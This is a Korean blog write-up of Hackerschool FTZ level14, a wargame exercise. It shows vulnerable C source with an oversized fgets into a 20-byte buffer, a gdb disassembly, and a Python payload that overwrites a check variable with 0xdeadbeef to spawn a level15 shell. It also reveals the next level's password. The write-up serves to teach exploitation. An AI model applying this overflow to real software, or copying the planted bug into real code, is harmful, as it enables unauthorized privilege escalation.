일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
Tags
- ftz
- 웹해킹
- NewsClipping
- Shadow 동아리
- buffer over flow
- 버퍼오버플로우
- CodeEngn
- x64dbg
- 리눅스
- webhacking
- 어셈블리어
- SQL Injection
- Linux
- termux
- writeup
- Nop Slide
- 뉴스클리핑
- requests
- reversing
- RITSEC CTF 2019
- 리버싱
- Python
- Hackerschool
- HackCTF
- ctf
- BOF
- PWN
- 보안뉴스
- RITSEC
- Next.js
Archives
- Today
- Total
Jaeseo's Information Security Story
FTZ - level14 - WriteUp 본문
FTZ - level14 - WriteUp
level14:what that nigga want?
일단 hint 파일을 봅니다.
레벨14 이후로는 mainsource의 문제를 그대로 가져왔습니다.
버퍼 오버플로우, 포맷스트링을 학습하는데는 이 문제들이
최고의 효과를 가져다줍니다.
#include <stdio.h>
#include <unistd.h>
main()
{ int crap;
int check;
char buf[20];
fgets(buf,45,stdin);
if (check==0xdeadbeef)
{
setreuid(3095,3095);
system("/bin/sh");
}
}
tmp에 소스코드를 이용하여 디버깅용 프로그램을 만듭니다.
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x080483b8 <main+0>: push ebp
0x080483b9 <main+1>: mov ebp,esp
0x080483bb <main+3>: sub esp,0x38 //esp 56만큼 공간 확보
0x080483be <main+6>: and esp,0xfffffff0
0x080483c1 <main+9>: mov eax,0x0
0x080483c6 <main+14>: sub esp,eax
0x080483c8 <main+16>: sub esp,0x4 //esp 4만큼 공간 확보 총 60byte
0x080483cb <main+19>: push ds:0x80495d0
0x080483d1 <main+25>: push 0x2d
0x080483d3 <main+27>: lea eax,[ebp-56] //eax에 ebp-56의 주소를 가져옴
0x080483d6 <main+30>: push eax
0x080483d7 <main+31>: call 0x80482d8 <fgets>
0x080483dc <main+36>: add esp,0x10 //esp 16만큼 공간 삭제 총 44byte
0x080483df <main+39>: cmp DWORD PTR [ebp-16],0xdeadbeef //ebp-16와 데이터를 비교
0x080483e6 <main+46>: jne 0x804840d <main+85>
0x080483e8 <main+48>: sub esp,0x8
0x080483eb <main+51>: push 0xc17
0x080483f0 <main+56>: push 0xc17
0x080483f5 <main+61>: call 0x80482f8 <setreuid>
0x080483fa <main+66>: add esp,0x10
0x080483fd <main+69>: sub esp,0xc
0x08048400 <main+72>: push 0x80484bc
0x08048405 <main+77>: call 0x80482c8 <system>
0x0804840a <main+82>: add esp,0x10
0x0804840d <main+85>: leave
0x0804840e <main+86>: ret
End of assembler dump.
일단 fget를 하기전에 ebp-56의 주소를 eax에 가지고 오는 모습을 볼 수 있는데 이때 ebp-16와 cmp해서 비교하는 부분과 40byte 차이가 나니 아무 값이나 40byte를 채우고 0xdeadbeef를 리틀 엔디언 방식으로 작성해서 넘겨주면 된다.
[level14@ftz level14]$ (python -c 'print "\x90"*40+"\xef\xbe\xad\xde"';cat) | ./attackme
whoami
level15
my-pass
Level15 Password is "guess what".
그러면 위와 같이 level15의 권한으로 sh를 실행한 모습을 볼 수 있다.
level15:guess what
'Write UP > FTZ' 카테고리의 다른 글
FTZ - level16 - WriteUp (0) | 2019.11.26 |
---|---|
FTZ - level15 - WriteUp (0) | 2019.11.26 |
FTZ - level13 - WriteUp (2) | 2019.11.19 |
FTZ - level12 - WriteUp (0) | 2019.11.18 |
FTZ - level11 - WriteUp (0) | 2019.11.15 |
Comments